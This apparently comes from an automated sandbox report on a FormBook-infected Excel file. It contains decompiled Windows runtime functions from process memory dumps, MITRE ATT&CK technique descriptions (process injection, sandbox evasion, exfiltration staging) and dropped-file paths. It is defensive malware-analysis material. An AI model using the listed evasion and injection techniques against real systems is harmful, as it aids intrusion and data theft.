Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 3e840c40ed192bce61b250a9b22b62365ef72b4d7e550880904cf540b006f874
Instruction ID: 1f4f7147f9b66352e6f7794a44b6c7a8882a2edd15ec96f0f0b5fa9852e68c05
Opcode Fuzzy Hash: 3e840c40ed192bce61b250a9b22b62365ef72b4d7e550880904cf540b006f874
Instruction Fuzzy Hash: A8510971700742ABEF129B6CCC84FAE77E9AF54724F11521DFD48DB285EB61E84287A0

Uniqueness

Uniqueness Score: -1.00%

Function 01ECEC56 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E01ECEC56(void* __ecx, void* __edx, intOrPtr* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __esi;
				intOrPtr _t38;
				intOrPtr _t39;
				signed int _t40;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t44;
				void* _t46;
				intOrPtr _t48;
				signed int _t49;
				intOrPtr _t50;
				intOrPtr _t53;
				signed char _t67;
				void* _t72;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr _t84;
				intOrPtr* _t85;
				void* _t91;
				void* _t92;
				void* _t93;

				_t80 = __edi;
				_t75 = __edx;
				_t70 = __ecx;
				_t84 = _a4;
				if( *((intOrPtr*)(_t84 + 0x10)) == 0) {
					E01EBDA92(__ecx, __edx, __eflags, _t84);
					_t38 =  *((intOrPtr*)(_t84 + 0x10));
				}
				_push(0);
				__eflags = _t38 - 0xffffffff;
				if(_t38 == 0xffffffff) {
					_t39 =  *0x1f8793c; // 0x0
					_push(0);
					_push(_t84);
					_t40 = E01EA16C0(_t39);
				} else {
					_t40 = E01E9F9D4(_t38);
				}
				_pop(_t85);
				__eflags = _t40;
				if(__eflags < 0) {
					_push(_t40);
					E01EE3915(_t67, _t70, _t75, _t80, _t85, __eflags);
					asm("int3");
					while(1) {
						L21:
						_t76 =  *[fs:0x18];
						_t42 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						__eflags =  *(_t42 + 0x240) & 0x00000002;
						if(( *(_t42 + 0x240) & 0x00000002) != 0) {
							_v36 =  *(_t85 + 0x14) & 0x00ffffff;
							_v66 = 0x1722;
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_t76 =  &_v72;
							_push( &_v72);
							_v28 = _t85;
							_v40 =  *((intOrPtr*)(_t85 + 4));
							_v32 =  *((intOrPtr*)(_t85 + 0xc));
							_push(0x10);
							_push(0x20402);
							E01EA01A4( *0x7ffe0382 & 0x000000ff);
						}
						while(1) {
							_t43 = _v8;
							_push(_t80);
							_push(0);
							__eflags = _t43 - 0xffffffff;
							if(_t43 == 0xffffffff) {
								_t71 =  *0x1f8793c; // 0x0
								_push(_t85);
								_t44 = E01EA1F28(_t71);
							} else {
								_t44 = E01E9F8CC(_t43);
							}
							__eflags = _t44 - 0x102;
							if(_t44 != 0x102) {
								__eflags = _t44;
								if(__eflags < 0) {
									_push(_t44);
									E01EE3915(_t67, _t71, _t76, _t80, _t85, __eflags);
									asm("int3");
									E01F22306(_t85);
									__eflags = _t67 & 0x00000002;
									if((_t67 & 0x00000002) != 0) {
										_t7 = _t67 + 2; // 0x4
										_t72 = _t7;
										asm("lock cmpxchg [edi], ecx");
										__eflags = _t67 - _t67;
										if(_t67 == _t67) {
											E01ECEC56(_t72, _t76, _t80, _t85);
										}
									}
									return 0;
								} else {
									__eflags = _v24;
									if(_v24 != 0) {
										 *((intOrPtr*)(_v12 + 0xf84)) = 0;
									}
									return 2;
								}
								goto L36;
							}
							_t77 =  *((intOrPtr*)(_t80 + 4));
							_push(_t67);
							_t46 = E01EE4FC0( *_t80, _t77, 0xff676980, 0xffffffff);
							_push(_t77);
							E01EF3F92(0x65, 1, "RTL: Enter Critical Section Timeout (%I64u secs) %d\n", _t46);
							_t48 =  *_t85;
							_t92 = _t91 + 0x18;
							__eflags = _t48 - 0xffffffff;
							if(_t48 == 0xffffffff) {
								_t49 = 0;
								__eflags = 0;
							} else {
								_t49 =  *((intOrPtr*)(_t48 + 0x14));
							}
							_t71 =  *((intOrPtr*)(_t85 + 0xc));
							_push(_t49);
							_t50 = _v12;
							_t76 =  *((intOrPtr*)(_t50 + 0x24));
							_push(_t85);
							_push( *((intOrPtr*)(_t85 + 0xc)));
							_push( *((intOrPtr*)(_t50 + 0x24)));
							E01EF3F92(0x65, 0, "RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu\n",  *((intOrPtr*)(_t50 + 0x20)));
							_t53 =  *_t85;
							_t93 = _t92 + 0x20;
							_t67 = _t67 + 1;
							__eflags = _t53 - 0xffffffff;
							if(_t53 != 0xffffffff) {
								_t71 =  *((intOrPtr*)(_t53 + 0x14));
								_a4 =  *((intOrPtr*)(_t53 + 0x14));
							}
							__eflags = _t67 - 2;
							if(_t67 > 2) {
								__eflags = _t85 - 0x1f820c0;
								if(_t85 != 0x1f820c0) {
									_t76 = _a4;
									__eflags = _a4 - _a8;
									if(__eflags == 0) {
										E01F2217A(_t71, __eflags, _t85);
									}
								}
							}
							_push("RTL: Re-Waiting\n");
							_push(0);
							_push(0x65);
							_a8 = _a4;
							E01EF3F92();
							_t91 = _t93 + 0xc;
							__eflags =  *0x7ffe0382;
							if( *0x7ffe0382 != 0) {
								goto L21;
							}
						}
						goto L36;
					}
				} else {
					return _t40;
				}
				L36:
			}

0x01ecec56
0x01ecec56
0x01ecec56
0x01ecec5c
0x01ecec64
0x01f023e6
0x01f023eb
0x01f023eb
0x01ecec6a
0x01ecec6c
0x01ecec6f
0x01f023f3
0x01f023f8
0x01f023fa
0x01f023fc
0x01ecec75
0x01ecec76
0x01ecec76
0x01ecec7b
0x01ecec7c
0x01ecec7e
0x01f02406
0x01f02407
0x01f0240c
0x01f0240d
0x01f0240d
0x01f0240d
0x01f02414
0x01f02417
0x01f0241e
0x01f02435
0x01f02438
0x01f0243c
0x01f0243f
0x01f02442
0x01f02443
0x01f02446
0x01f02449
0x01f02453
0x01f02455
0x01f0245b
0x01f0245b
0x01eceb99
0x01eceb99
0x01eceb9c
0x01eceb9d
0x01eceb9f
0x01eceba2
0x01f02465
0x01f0246b
0x01f0246d
0x01eceba8
0x01eceba9
0x01eceba9
0x01ecebae
0x01ecebb3
0x01ecebb9
0x01ecebbb
0x01f02513
0x01f02514
0x01f02519
0x01f0251b
0x01ecec2a
0x01ecec2d
0x01ecec33
0x01ecec36
0x01ecec3a
0x01ecec3e
0x01ecec40
0x01ecec47
0x01ecec47
0x01ecec40
0x01ea22c6
0x01ecebc1
0x01ecebc1
0x01ecebc5
0x01ecec9a
0x01ecec9a
0x01ecebd6
0x01ecebd6
0x00000000
0x01ecebbb
0x01f02477
0x01f0247c
0x01f02486
0x01f0248b
0x01f02496
0x01f0249b
0x01f0249d
0x01f024a0
0x01f024a3
0x01f024aa
0x01f024aa
0x01f024a5
0x01f024a5
0x01f024a5
0x01f024ac
0x01f024af
0x01f024b0
0x01f024b3
0x01f024b9
0x01f024ba
0x01f024bb
0x01f024c6
0x01f024cb
0x01f024cd
0x01f024d0
0x01f024d1
0x01f024d4
0x01f024d6
0x01f024d9
0x01f024d9
0x01f024dc
0x01f024df
0x01f024e1
0x01f024e7
0x01f024e9
0x01f024ec
0x01f024ef
0x01f024f2
0x01f024f2
0x01f024ef
0x01f024e7
0x01f024fa
0x01f024ff
0x01f02501
0x01f02503
0x01f02506
0x01f0250b
0x01eceb8c
0x01eceb93
0x00000000
0x00000000
0x01eceb93
0x00000000
0x01eceb99
0x01ecec85
0x01ecec85
0x01ecec85
0x00000000

Strings

RTL: Re-Waiting, xrefs: 01F024FA
RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 01F0248D
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 01F024BD

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: fd1fbb1415be2d239dcef93396bc0fbce553f5d05d3feac906f93d3f09a9d383
Instruction ID: 91451f57e35ed3a610530484d860a102d3709270eb174a951a9e231eb151c844
Opcode Fuzzy Hash: fd1fbb1415be2d239dcef93396bc0fbce553f5d05d3feac906f93d3f09a9d383
Instruction Fuzzy Hash: AA41F570A00245ABDB20DB68CD88FAE7BB9EF48720F209609F655DB2C1D735E941C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 01EDFCC9 Relevance: 6.3, APIs: 4, Instructions: 257
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01EDFCC9(signed short* _a4, char _a7, signed short** _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t105;
				void* _t110;
				char _t114;
				short _t115;
				void* _t118;
				signed short* _t119;
				short _t120;
				char _t122;
				void* _t127;
				void* _t130;
				signed int _t136;
				intOrPtr _t143;
				signed int _t158;
				signed short* _t164;
				signed int _t167;
				void* _t170;

				_t158 = 0;
				_t164 = _a4;
				_v20 = 0;
				_v24 = 0;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v28 = 0;
				_t136 = 0;
				while(1) {
					_t167 =  *_t164 & 0x0000ffff;
					if(_t167 == _t158) {
						break;
					}
					_t118 = _v20 - _t158;
					if(_t118 == 0) {
						if(_t167 == 0x3a) {
							if(_v12 > _t158 || _v8 > _t158) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									break;
								}
								_t143 = 2;
								 *((short*)(_a12 + _t136 * 2)) = 0;
								_v28 = 1;
								_v8 = _t143;
								_t136 = _t136 + 1;
								L47:
								_t164 = _t119;
								_v20 = _t143;
								L14:
								if(_v24 == _t158) {
									L19:
									_t164 =  &(_t164[1]);
									_t158 = 0;
									continue;
								}
								if(_v12 == _t158) {
									if(_v16 > 4) {
										L29:
										return 0xc000000d;
									}
									_t120 = E01EDEE02(_v24, _t158, 0x10);
									_t170 = _t170 + 0xc;
									 *((short*)(_a12 + _t136 * 2)) = _t120;
									_t136 = _t136 + 1;
									goto L19;
								}
								if(_v16 > 3) {
									goto L29;
								}
								_t122 = E01EDEE02(_v24, _t158, 0xa);
								_t170 = _t170 + 0xc;
								if(_t122 > 0xff) {
									goto L29;
								}
								 *((char*)(_v12 + _t136 * 2 + _a12 - 1)) = _t122;
								goto L19;
							}
						}
						L21:
						if(_v8 > 7 || _t167 >= 0x80) {
							break;
						} else {
							if(E01ED685D(_t167, 4) == 0) {
								if(E01ED685D(_t167, 0x80) != 0) {
									if(_v12 > 0) {
										break;
									}
									_t127 = 1;
									_a7 = 1;
									_v24 = _t164;
									_v20 = 1;
									_v16 = 1;
									L36:
									if(_v20 == _t127) {
										goto L19;
									}
									_t158 = 0;
									goto L14;
								}
								break;
							}
							_a7 = 0;
							_v24 = _t164;
							_v20 = 1;
							_v16 = 1;
							goto L19;
						}
					}
					_t130 = _t118 - 1;
					if(_t130 != 0) {
						if(_t130 == 1) {
							goto L21;
						}
						_t127 = 1;
						goto L36;
					}
					if(_t167 >= 0x80) {
						L7:
						if(_t167 == 0x3a) {
							_t158 = 0;
							if(_v12 > 0 || _v8 > 6) {
								break;
							} else {
								_t119 =  &(_t164[1]);
								if( *_t119 != _t167) {
									_v8 = _v8 + 1;
									L13:
									_v20 = _t158;
									goto L14;
								}
								if(_v28 != 0) {
									break;
								}
								_v28 = _v8 + 1;
								_t143 = 2;
								_v8 = _v8 + _t143;
								goto L47;
							}
						}
						if(_t167 != 0x2e || _a7 != 0 || _v12 > 2 || _v8 > 6) {
							break;
						} else {
							_v12 = _v12 + 1;
							_t158 = 0;
							goto L13;
						}
					}
					if(E01ED685D(_t167, 4) != 0) {
						_v16 = _v16 + 1;
						goto L19;
					}
					if(E01ED685D(_t167, 0x80) != 0) {
						_v16 = _v16 + 1;
						if(_v12 > 0) {
							break;
						}
						_a7 = 1;
						goto L19;
					}
					goto L7;
				}
				 *_a8 = _t164;
				if(_v12 != 0) {
					if(_v12 != 3) {
						goto L29;
					}
					_v8 = _v8 + 1;
				}
				if(_v28 != 0 || _v8 == 7) {
					if(_v20 != 1) {
						if(_v20 != 2) {
							goto L29;
						}
						 *((short*)(_a12 + _t136 * 2)) = 0;
						L65:
						_t105 = _v28;
						if(_t105 != 0) {
							_t98 = (_t105 - _v8) * 2; // 0x11
							E01EB8980(_a12 + _t98 + 0x10, _a12 + _t105 * 2, _v8 - _t105 + _v8 - _t105);
							_t110 = 8;
							E01EADFC0(_a12 + _t105 * 2, 0, _t110 - _v8 + _t110 - _v8);
						}
						return 0;
					}
					if(_v12 != 0) {
						if(_v16 > 3) {
							goto L29;
						}
						_t114 = E01EDEE02(_v24, 0, 0xa);
						_t170 = _t170 + 0xc;
						if(_t114 > 0xff) {
							goto L29;
						}
						 *((char*)(_v12 + _t136 * 2 + _a12)) = _t114;
						goto L65;
					}
					if(_v16 > 4) {
						goto L29;
					}
					_t115 = E01EDEE02(_v24, 0, 0x10);
					_t170 = _t170 + 0xc;
					 *((short*)(_a12 + _t136 * 2)) = _t115;
					goto L65;
				} else {
					goto L29;
				}
			}

0x01edfcd1
0x01edfcd6
0x01edfcd9
0x01edfcdc
0x01edfcdf
0x01edfce2
0x01edfce5
0x01edfce8
0x01edfceb
0x01edfced
0x01edfced
0x01edfcf3
0x00000000
0x00000000
0x01edfcfc
0x01edfcfe
0x01edfdc1
0x01f0ecbd
0x00000000
0x01f0eccc
0x01f0eccc
0x01f0ecd2
0x00000000
0x00000000
0x01f0ecdf
0x01f0ece0
0x01f0ece4
0x01f0eceb
0x01f0ecee
0x01f0eca8
0x01f0eca8
0x01f0ecaa
0x01edfd76
0x01edfd79
0x01edfdb4
0x01edfdb5
0x01edfdb6
0x00000000
0x01edfdb6
0x01edfd7e
0x01f0ecfc
0x01edfe2f
0x00000000
0x01edfe2f
0x01f0ed08
0x01f0ed0f
0x01f0ed17
0x01f0ed1b
0x00000000
0x01f0ed1b
0x01edfd88
0x00000000
0x00000000
0x01edfd94
0x01edfd99
0x01edfda1
0x00000000
0x00000000
0x01edfdb0
0x00000000
0x01edfdb0
0x01f0ecbd
0x01edfdc7
0x01edfdcb
0x00000000
0x01edfdd7
0x01edfde3
0x01edfe06
0x01ef1fe7
0x00000000
0x00000000
0x01ef1fef
0x01ef1ff0
0x01ef1ff4
0x01ef1ff7
0x01ef1ffa
0x01ef1ffd
0x01ef2000
0x00000000
0x00000000
0x01f0ecf1
0x00000000
0x01f0ecf1
0x00000000
0x01edfe06
0x01edfde8
0x01edfdec
0x01edfdef
0x01edfdf2
0x00000000
0x01edfdf2
0x01edfdcb
0x01edfd04
0x01edfd05
0x01f0ec67
0x00000000
0x00000000
0x01f0ec6f
0x00000000
0x01f0ec6f
0x01edfd13
0x01edfd3c
0x01edfd40
0x01f0ec75
0x01f0ec7a
0x00000000
0x01f0ec8a
0x01f0ec8a
0x01f0ec90
0x01f0ecb2
0x01edfd73
0x01edfd73
0x00000000
0x01edfd73
0x01f0ec95
0x00000000
0x00000000
0x01f0eca1
0x01f0eca4
0x01f0eca5
0x00000000
0x01f0eca5
0x01f0ec7a
0x01edfd4a
0x00000000
0x01edfd6e
0x01edfd6e
0x01edfd71
0x00000000
0x01edfd71
0x01edfd4a
0x01edfd21
0x01eea3a1
0x00000000
0x01eea3a1
0x01edfd36
0x01ef200b
0x01ef2012
0x00000000
0x00000000
0x01ef2018
0x00000000
0x01ef2018
0x00000000
0x01edfd36
0x01edfe0f
0x01edfe16
0x01eea3ad
0x00000000
0x00000000
0x01eea3b3
0x01eea3b3
0x01edfe1f
0x01f0ed25
0x01f0ed86
0x00000000
0x00000000
0x01f0ed91
0x01f0ed95
0x01f0ed95
0x01f0ed9a
0x01f0edad
0x01f0edb3
0x01f0edba
0x01f0edc4
0x01f0edc9
0x00000000
0x01f0edcc
0x01f0ed2a
0x01f0ed55
0x00000000
0x00000000
0x01f0ed61
0x01f0ed66
0x01f0ed6e
0x00000000
0x00000000
0x01f0ed7d
0x00000000
0x01f0ed7d
0x01f0ed30
0x00000000
0x00000000
0x01f0ed3c
0x01f0ed43
0x01f0ed4b
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__fassign.LIBCMT ref: 01EDFD94

Memory Dump Source

Source File: 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 01E80000, based on PE: true

Associated: 00000008.00000002.1175733690.0000000001E80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175833577.0000000001F70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175842743.0000000001F80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175852009.0000000001F84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175859915.0000000001F87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175866735.0000000001F90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1175904281.0000000001FF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1e80000_wuapp.jbxd

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: c294a4bacacf51e8591c572116c02507e814fb6c1269c138f84eac22a5cabaf9
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: E091B231D0024AEEDF25CF58C8457EEBBB4FF45318F24946AE912A7292E7314A43DB91

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DL03327INV.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\21AA51C5.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5042D1B.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\52D20C60.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\77AC4BD4.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8E77A502.wmf

C:\Users\user\AppData\Local\Temp\boswagvgna

C:\Users\user\AppData\Local\Temp\l4nnhna3wvu7agf

C:\Users\user\AppData\Local\Temp\nss8A2D.tmp

C:\Users\user\AppData\Local\Temp\yldnat.exe

